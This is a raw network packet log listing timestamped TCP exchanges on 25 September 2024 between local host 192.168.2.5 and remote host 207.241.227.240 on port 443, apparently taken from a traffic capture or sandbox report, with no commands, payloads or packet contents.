Sep 25, 2024 18:50:13.744782925 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.753243923 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.753268957 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.753431082 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.753451109 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.753653049 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.753729105 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.753746033 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.753793955 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.753803968 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.753850937 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.753869057 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.754070044 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.754092932 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.754148960 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.754157066 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.754192114 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.764084101 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.764107943 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.764275074 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.764298916 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.764341116 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.784806967 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.784831047 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.785001040 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.785003901 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.785034895 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.785069942 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.785099030 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.785406113 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.785423994 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.785485029 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.785499096 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.785789013 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.785809994 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.785849094 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.785859108 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.785871029 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.838543892 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.839787960 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.839819908 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.839981079 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.840018988 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.840033054 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.840049028 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.840087891 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.840373993 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.840395927 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.840432882 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.840441942 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.840456009 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.851057053 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.851094961 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.851207018 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.851224899 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.871509075 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.871541023 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.871745110 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.871788979 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.871805906 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.871828079 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.871881008 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.871892929 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.871912003 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.872155905 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.872170925 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.872225046 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.872237921 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.872595072 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.872615099 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.872663021 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.872674942 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.872711897 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.916591883 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.926677942 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.926707983 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.926830053 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.926857948 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.926903009 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.926927090 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.926951885 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.926980019 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.926989079 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.927015066 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.927031040 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.927480936 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.927503109 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.927553892 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.927568913 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.927606106 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.937957048 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.937978029 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.938040018 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.938066959 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.938108921 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.958519936 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.958547115 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.958636999 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.958673954 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.958903074 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.958957911 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.958977938 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.959033012 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.959041119 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.959079027 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.959573984 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.959593058 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.959649086 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.959656954 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.959692001 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.960222960 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.960239887 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.960287094 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:13.960297108 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:13.960335970 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.013734102 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.013763905 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.013874054 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.013889074 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.013927937 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.013998985 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.014025927 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.014084101 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.014091969 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.014132977 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.014633894 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.014653921 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.014707088 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.014715910 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.014755011 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.024857998 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.024883986 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.024957895 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.024981976 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.025017977 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.045973063 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.046009064 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.046066999 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.046077013 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.046113014 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.046135902 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.046179056 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.046441078 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.046463013 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.046535015 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.046544075 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.047173023 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.047213078 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.047247887 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.047255993 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.047295094 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.088551044 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.100748062 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.100779057 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.100897074 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.100928068 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.101001024 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.101222038 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.101238966 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.101289988 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.101301908 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.101339102 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.101506948 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.101524115 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.101572990 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.101586103 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.101622105 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.112068892 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.112107038 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.112258911 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.112302065 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.112449884 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.133117914 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.133147001 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.133296967 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.133322001 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.133347034 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.133363962 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.133377075 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.133393049 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.133407116 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.133447886 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.133903027 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.133928061 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.133987904 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.133997917 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.134030104 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.134035110 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.134057999 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.134073973 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.134083033 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.134115934 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.187555075 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.187583923 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.187701941 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.187741041 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.187774897 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.187783003 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.187793970 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.187812090 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.187820911 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.187860966 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.187868118 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.189569950 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.198581934 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.198605061 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.198704958 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.198755980 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.198801041 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.219871044 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.219894886 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.219995975 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.220020056 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.220029116 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.220062971 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.220088959 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.220088959 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.220364094 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.220380068 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.220432997 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.220446110 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.220666885 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.220688105 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.220722914 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.220731974 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.220760107 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.221194983 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.221216917 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.221261978 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.221271992 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.221292973 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.275242090 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.275269032 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.275449991 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.275448084 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.275475025 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.275490999 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.275511026 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.275542021 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.275548935 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.275587082 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.285577059 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.285608053 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.285887003 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.285933971 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.285985947 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.306871891 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.306900024 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.306946993 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.306983948 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.307033062 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.307060957 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.307085037 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.307321072 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.307337046 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.307399035 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.307410002 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.307955027 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.307972908 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.308001995 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.308010101 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.308033943 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.308331966 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.308346033 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.308404922 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.308413029 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.354182005 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.362019062 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.362047911 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.362200975 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.362219095 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.362260103 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.362328053 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.362341881 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.362384081 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.362390995 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.362422943 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.372651100 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.372680902 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.372798920 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.372812986 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.372850895 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.397602081 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.397634029 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.397737026 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.397758007 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.397784948 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.397790909 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.397798061 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.397815943 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.397838116 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.397846937 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.397867918 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.397883892 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.398181915 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.398226023 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.398237944 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.398243904 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.398281097 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.398298979 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.398616076 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.398637056 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.398674011 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.398680925 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.398713112 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.398719072 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.398735046 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.398742914 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.398756981 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.398772955 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.398814917 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.449219942 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.449244976 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.449312925 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.449350119 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.449378967 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.449388981 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.449604988 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.449625969 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.449682951 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.449692965 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.449733973 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.459343910 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.459367990 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.459476948 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.459490061 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.459528923 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.484258890 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.484283924 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.484435081 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.484468937 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:14.484510899 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:14.484523058 CEST	443	49705	207.241.227.240	192.168.2.5
